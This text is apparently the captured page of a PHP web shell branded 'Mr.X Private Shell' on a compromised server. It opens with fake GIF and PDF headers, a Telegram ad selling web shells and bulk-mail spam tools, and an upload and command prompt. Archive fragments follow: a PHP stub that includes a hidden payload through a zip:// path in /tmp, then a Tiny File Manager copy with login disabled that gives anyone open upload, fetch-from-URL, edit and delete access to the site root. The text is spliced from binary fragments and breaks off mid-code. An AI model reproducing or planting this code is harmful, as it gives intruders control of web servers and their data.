GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
PK!��)5wdpzt/kxmgr2.tarnu�[���index.php000064400000000147000000000000006327 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ppo.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!�m�%��5wdpzt/zui1bd.zipnu�[���PK!j׀~�~�	o9hl5.phpnu�[���<?php
/**F29EBEBE35F0AED26A4082730364A33A**/
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';

/**
 * H3K | Tiny File Manager V2.4.3
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.4.3');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password 
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);

//set application theme
//options - 'light' and 'dark'
$theme = 'dark';

// Readonly users 
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '?img=favicon';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 2048;

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the customized config file, try to use it to override the default config above
$config_file = './config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

define('FM_THEME', $theme);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('');
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    fm_redirect(FM_SELF_URL);
}

// Show image here
if (isset($_GET['img'])) {
    fm_show_image($_GET['img']);
}

// Validate connection IP
if($ip_ruleset != 'OFF'){
    $clientIp = $_SERVER['REMOTE_ADDR'];

    $proceed = false;

    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg('Access denied. IP restriction applicable', 'error');
            fm_show_header_login();
            fm_show_message();
        }

        exit();
    }
}

// Auth
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL . '?p=');
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="form-group">
                                        <label for="fm_usr"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="form-group">
                                        <?php fm_show_message(); ?>
                                    </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>Root path \"{$root_path}\" not found!</h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {

    // save
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg('File not found', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
        header('X-XSS-Protection:0'); 
        $file_path = $path . '/' . $file;
        
        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){ 
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) && $_POST['type']=="search") {
        $dir = FM_ROOT_PATH;
        $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
        echo json_encode($response);
        exit();
    }
    
    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = $_POST['file'];
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['calc_folder'] != $caf) {
            $cfg->data['calc_folder'] = $caf;
            $calc_folder = $caf;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
        
        function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, get_file_path());
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }

    exit();
}

// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' && $del != '..' && $del != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg('Invalid file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
    $type = $_GET['type'];
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($_GET['type'] == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg('File extension is not allowed', 'error');
                }
            } else {
                fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg('Invalid characters in file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg('Source path not defined', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg('File or folder with this path already exists', 'alert');

            } else {
                fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg('Paths must be not equal', 'alert');
       }
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg('Paths must be not equal', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
    // old name
    $old = $_GET['ren'];
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = $_GET['to'];
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg('Invalid characters in file name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Download
if (isset($_GET['dl'])) {
    $dl = $_GET['dl'];
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $_REQUEST['fullpath'];
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if(file_exists ($fullPath) && !$override_file_name) {
            $ext_1 = $ext ? '.'.$ext : '';
            $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
        }

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
